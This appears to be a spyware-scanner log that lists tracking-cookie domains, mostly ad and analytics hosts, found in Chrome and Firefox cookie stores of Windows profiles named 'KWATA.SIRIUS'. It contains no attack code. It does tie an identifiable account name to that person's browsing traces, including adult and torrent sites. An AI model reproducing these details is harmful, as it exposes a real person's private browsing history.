www.backcountry.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
questionbox.jp.msn.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
questionbox.jp.msn.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.questionbox.jp.msn.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.questionbox.jp.msn.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
cast.trustclick.ne.jp [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
cast.trustclick.ne.jp [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
cast.trustclick.ne.jp [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
cast.trustclick.ne.jp [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
cast.trustclick.ne.jp [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.click.livedoor.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
accounts.youtube.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.accounts.google.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.accounts.google.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
accounts.google.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
accounts.youtube.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\Z109Q5BT.DEFAULT\COOKIES.SQLITE ]
.adxpose.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\Z109Q5BT.DEFAULT\COOKIES.SQLITE ]
.mediafire.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\Z109Q5BT.DEFAULT\COOKIES.SQLITE ]
.rambler.ru [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\Z109Q5BT.DEFAULT\COOKIES.SQLITE ]
.tns-counter.ru [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\Z109Q5BT.DEFAULT\COOKIES.SQLITE ]
accounts.youtube.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\Z109Q5BT.DEFAULT\COOKIES.SQLITE ]
.solvemedia.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\Z109Q5BT.DEFAULT\COOKIES.SQLITE ]
.solvemedia.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\Z109Q5BT.DEFAULT\COOKIES.SQLITE ]
.solvemedia.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\Z109Q5BT.DEFAULT\COOKIES.SQLITE ]
mshakers.rotator.hadj7.adjuggler.net [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\Z109Q5BT.DEFAULT\COOKIES.SQLITE ]
mshakers.rotator.hadj7.adjuggler.net [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\Z109Q5BT.DEFAULT\COOKIES.SQLITE ]
yorick.adjuggler.net [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\Z109Q5BT.DEFAULT\COOKIES.SQLITE ]
g.trafficunit.in [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\Z109Q5BT.DEFAULT\COOKIES.SQLITE ]
g.trafficunit.in [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\Z109Q5BT.DEFAULT\COOKIES.SQLITE ]
g.trafficunit.in [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\Z109Q5BT.DEFAULT\COOKIES.SQLITE ]
g.trafficunit.in [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\Z109Q5BT.DEFAULT\COOKIES.SQLITE ]
.mediafire.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\Z109Q5BT.DEFAULT\COOKIES.SQLITE ]
.mediafire.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\Z109Q5BT.DEFAULT\COOKIES.SQLITE ]
.mediafire.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\Z109Q5BT.DEFAULT\COOKIES.SQLITE ]
.srv1.mediads.info [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\Z109Q5BT.DEFAULT\COOKIES.SQLITE ]
.srv1.mediads.info [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\Z109Q5BT.DEFAULT\COOKIES.SQLITE ]
imp.trafficunit.in [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\Z109Q5BT.DEFAULT\COOKIES.SQLITE ]
imp.trafficunit.in [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\Z109Q5BT.DEFAULT\COOKIES.SQLITE ]
imp.trafficunit.in [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\Z109Q5BT.DEFAULT\COOKIES.SQLITE ]
imp.trafficunit.in [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\Z109Q5BT.DEFAULT\COOKIES.SQLITE ]
yorick.adjuggler.net [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\Z109Q5BT.DEFAULT\COOKIES.SQLITE ]
accounts.youtube.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\Z109Q5BT.DEFAULT\COOKIES.SQLITE ]
.accounts.google.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\Z109Q5BT.DEFAULT\COOKIES.SQLITE ]
.accounts.google.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\Z109Q5BT.DEFAULT\COOKIES.SQLITE ]
.accounts.google.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\Z109Q5BT.DEFAULT\COOKIES.SQLITE ]
.gostats.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\Z109Q5BT.DEFAULT\COOKIES.SQLITE ]
.gostats.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\Z109Q5BT.DEFAULT\COOKIES.SQLITE ]
mshakers.rotator.hadj7.adjuggler.net [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\Z109Q5BT.DEFAULT\COOKIES.SQLITE ]
.xtendmedia.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\Z109Q5BT.DEFAULT\COOKIES.SQLITE ]
.xertivemedia.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\Z109Q5BT.DEFAULT\COOKIES.SQLITE ]
.readserver.net [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\Z109Q5BT.DEFAULT\COOKIES.SQLITE ]
.readserver.net [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\Z109Q5BT.DEFAULT\COOKIES.SQLITE ]
.adlooxtracking.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\Z109Q5BT.DEFAULT\COOKIES.SQLITE ]
yt.jobfindgold.info [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\Z109Q5BT.DEFAULT\COOKIES.SQLITE ]
yt.jobfindgold.info [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\Z109Q5BT.DEFAULT\COOKIES.SQLITE ]
yt.jobfindgold.info [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\Z109Q5BT.DEFAULT\COOKIES.SQLITE ]
yt.jobfindgold.info [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\Z109Q5BT.DEFAULT\COOKIES.SQLITE ]
childsafedownloadx.asia [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\Z109Q5BT.DEFAULT\COOKIES.SQLITE ]
childsafedownloadx.asia [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\Z109Q5BT.DEFAULT\COOKIES.SQLITE ]
onclickads.net [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\Z109Q5BT.DEFAULT\COOKIES.SQLITE ]
onclickads.net [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\Z109Q5BT.DEFAULT\COOKIES.SQLITE ]
onclickads.net [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\Z109Q5BT.DEFAULT\COOKIES.SQLITE ]
onclickads.net [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\Z109Q5BT.DEFAULT\COOKIES.SQLITE ]
onclickads.net [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\Z109Q5BT.DEFAULT\COOKIES.SQLITE ]
rbv.jobfindgold.info [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\Z109Q5BT.DEFAULT\COOKIES.SQLITE ]
rbv.jobfindgold.info [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\Z109Q5BT.DEFAULT\COOKIES.SQLITE ]
rbv.jobfindgold.info [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\Z109Q5BT.DEFAULT\COOKIES.SQLITE ]
rbv.jobfindgold.info [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\Z109Q5BT.DEFAULT\COOKIES.SQLITE ]
accounts.google.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\Z109Q5BT.DEFAULT\COOKIES.SQLITE ]
.readserver.net [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\Z109Q5BT.DEFAULT\COOKIES.SQLITE ]
clove.rotator.hadj8.adjuggler.net [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\Z109Q5BT.DEFAULT\COOKIES.SQLITE ]
clove.rotator.hadj8.adjuggler.net [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\Z109Q5BT.DEFAULT\COOKIES.SQLITE ]
clove.rotator.hadj8.adjuggler.net [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\Z109Q5BT.DEFAULT\COOKIES.SQLITE ]
.imrworldwide.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\Z109Q5BT.DEFAULT\COOKIES.SQLITE ]
.openstat.net [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\Z109Q5BT.DEFAULT\COOKIES.SQLITE ]
.casalemedia.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\Z109Q5BT.DEFAULT\COOKIES.SQLITE ]
.casalemedia.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\Z109Q5BT.DEFAULT\COOKIES.SQLITE ]
.casalemedia.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\Z109Q5BT.DEFAULT\COOKIES.SQLITE ]
.casalemedia.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\Z109Q5BT.DEFAULT\COOKIES.SQLITE ]
.casalemedia.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\Z109Q5BT.DEFAULT\COOKIES.SQLITE ]
.doubleclick.net [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\Z109Q5BT.DEFAULT\COOKIES.SQLITE ]
.atdmt.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\Z109Q5BT.DEFAULT\COOKIES.SQLITE ]
.atdmt.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\Z109Q5BT.DEFAULT\COOKIES.SQLITE ]
.mmstat.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\Z109Q5BT.DEFAULT\COOKIES.SQLITE ]
.mmstat.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\Z109Q5BT.DEFAULT\COOKIES.SQLITE ]
.lstat.youku.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\Z109Q5BT.DEFAULT\COOKIES.SQLITE ]
.lstat.youku.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\Z109Q5BT.DEFAULT\COOKIES.SQLITE ]
152media.genieessp-a.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\Z109Q5BT.DEFAULT\COOKIES.SQLITE ]
ads1.solocpm.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\Z109Q5BT.DEFAULT\COOKIES.SQLITE ]
ads1.solocpm.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\Z109Q5BT.DEFAULT\COOKIES.SQLITE ]
ads1.solocpm.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\Z109Q5BT.DEFAULT\COOKIES.SQLITE ]
.cnzz.mmstat.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\Z109Q5BT.DEFAULT\COOKIES.SQLITE ]
.doubleclick.net [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\Z109Q5BT.DEFAULT\COOKIES.SQLITE ]
.advertising.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\Z109Q5BT.DEFAULT\COOKIES.SQLITE ]
.lucidmedia.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\Z109Q5BT.DEFAULT\COOKIES.SQLITE ]
.advertising.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\Z109Q5BT.DEFAULT\COOKIES.SQLITE ]
.rambler.ru [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.tns-counter.ru [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.mmstat.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.amazon-adsystem.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.amazon-adsystem.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
7.rotator.wigetmedia.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.rutracker.org [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.histats.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.histats.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.imrworldwide.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.imrworldwide.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.solvemedia.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.solvemedia.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.histats.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.mediafire.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.legolas-media.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
mshakers.rotator.hadj7.adjuggler.net [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.ubstat.ru [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.lstat.youku.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.lstat.youku.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.foofind.is [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.dxpmedia.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
tracking.hostgator.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
wmedia.rotator.hadj7.adjuggler.net [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.dlv.itmedia.jp [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.mediafire.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
7.rotator.wigetmedia.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.xtendmedia.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.liveperson.net [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.liveperson.net [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.data-eroadvertising.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
yorick.adjuggler.net [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
yorick.adjuggler.net [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
wmedia.rotator.hadj7.adjuggler.net [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.itmedia.co.jp [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
worldadult-videos.info [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.worldadult-videos.info [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.worldadult-videos.info [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.worldadult-videos.info [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.worldadult-videos.info [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
a.intentmedia.net [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.saymedia.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.saymedia.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.eyeviewads.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.cnzz.mmstat.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
accounts.google.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.readserver.net [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.ad6media.fr [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.ad6media.fr [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
